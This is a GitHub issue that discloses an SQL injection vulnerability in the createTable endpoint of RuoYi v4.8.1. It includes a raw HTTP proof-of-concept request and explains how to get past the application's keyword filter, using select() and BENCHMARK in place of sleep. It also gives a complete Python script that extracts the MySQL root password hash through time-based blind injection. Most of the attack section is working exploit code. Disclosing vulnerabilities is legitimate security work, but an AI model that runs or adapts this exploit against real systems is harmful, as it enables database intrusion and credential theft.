Skip to content

SQL injection vulnerability #300

@uglory-gll

Description

@uglory-gll

/tool/gen/createTable SQL injection

[Affected version]

v4.8.1

[Affected Component]

/tool/gen/createTable

[Software]

https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.8.1.zip

[Description]

There is an SQL injection vulnerability in the SQL parameters of the /tool/gen/creatTable interface in ruoyi system v4.8.1. Hackers can exploit this vulnerability to obtain sensitive server information

POC

POST /tool/gen/createTable HTTP/1.1
Host: 127.0.0.1:8099
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-mobile: ?0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
sec-ch-ua-platform: "Windows"
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://127.0.0.1:8099
sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8099/tool/gen/createTable
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Cookie: JSESSIONID=f599f95a-4515-4566-bc39-c89ec7970999
Sec-Fetch-Dest: empty
X-CSRF-Token: zdkIQfZ1xwxZSnPEYhLvjpOt+n4bt+usQwPVd5SJf3M=
X-Requested-With: XMLHttpRequest
Sec-Fetch-Site: same-origin
Content-Length: 200

sql=create+table+a_1+as+select'1'from+sys_job+where+if(ascii(substring((SELECT(authentication_string)from+mysql.user+WHERE+user%3D'root'+limit+0%2C1)%2C2%2C1))%3D54%2CBENCHMARK(20000000%2Cmd5(1))%2C1)

RuoYi-4.8.1\ruoyi-generator\src\main\java\com\ruoyi\generator\controller\GenController.java:211

Image

The SQL statement executed here has a filter on it, but it is not strictly filtered. For example, if select plus spaces is filtered, we can use select() to bypass or select '1'

RuoYi-4.8.1\ruoyi-common\src\main\java\com\ruoyi\common\utils\sql\SqlUtil.java:16

Image

The sleep here has been filtered. We can use the benchmark

Image

Below is the validation script,Used to retrieve the password from another database MySQL

import requests
import time

def blind_sql_injection():
    base_url = "http://127.0.0.1:8099/tool/gen/createTable"
    headers = {
        "Cookie": "JSESSIONID=f599f95a-4515-4566-bc39-c89ec7970999"
    }
    
    # 字符集:星号和十六进制大写字母
    charset = '*0123456789ABCDEF'
    password = []
    table_counter = 1  # 用于递增表名
    
    # 测试41个位置(假设密码哈希值长度为41,包括星号)
    for position in range(1, 42):
        found_char = None
        
        # 测试每个字符
        for char in charset:
            # 构建SQL语句,表名递增
            sql_template = f"create table aaa_{table_counter} as select'1'from sys_job where if(ascii(substring((SELECT(authentication_string)from mysql.user WHERE user='root' limit 0,1),{position},1))={ord(char)},BENCHMARK(20000000,md5(1)),1)"
            table_counter += 1  # 递增表名计数器
            
            data = {"sql": sql_template}
            
            # 记录开始时间
            start_time = time.time()
            
            try:
                response = requests.post(
                    base_url,
                    headers=headers,
                    data=data,
                    timeout=15  # 设置较长的超时时间
                )
                elapsed = time.time() - start_time
                
                # 如果响应时间大于1秒,则认为字符正确
                if elapsed > 1.0:
                    found_char = char
                    password.append(char)
                    print(f"位置 {position}: 找到字符 '{char}',响应时间: {elapsed:.2f}秒")
                    print(f"当前密码: {''.join(password)}")
                    break
                else:
                    print(f"位置 {position}: 测试字符 '{char}',响应时间: {elapsed:.2f}秒")
                    
            except requests.exceptions.Timeout:
                found_char = char
                password.append(char)
                print(f"位置 {position}: 找到字符 '{char}' (超时)")
                print(f"当前密码: {''.join(password)}")
                break
            except Exception as e:
                print(f"位置 {position}: 测试字符 '{char}' 时发生错误: {e}")
                # 继续尝试下一个字符
                continue
        
        # 如果未找到字符,添加占位符
        if not found_char:
            password.append('?')
            print(f"位置 {position}: 未找到匹配字符")
    
    # 输出最终结果
    final_password = ''.join(password)
    print(f"\n最终密码: {final_password}")
    return final_password

if __name__ == "__main__":
    blind_sql_injection()
Image Image

A large number of tables will be generated during use, so use with caution in production environments

Image

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions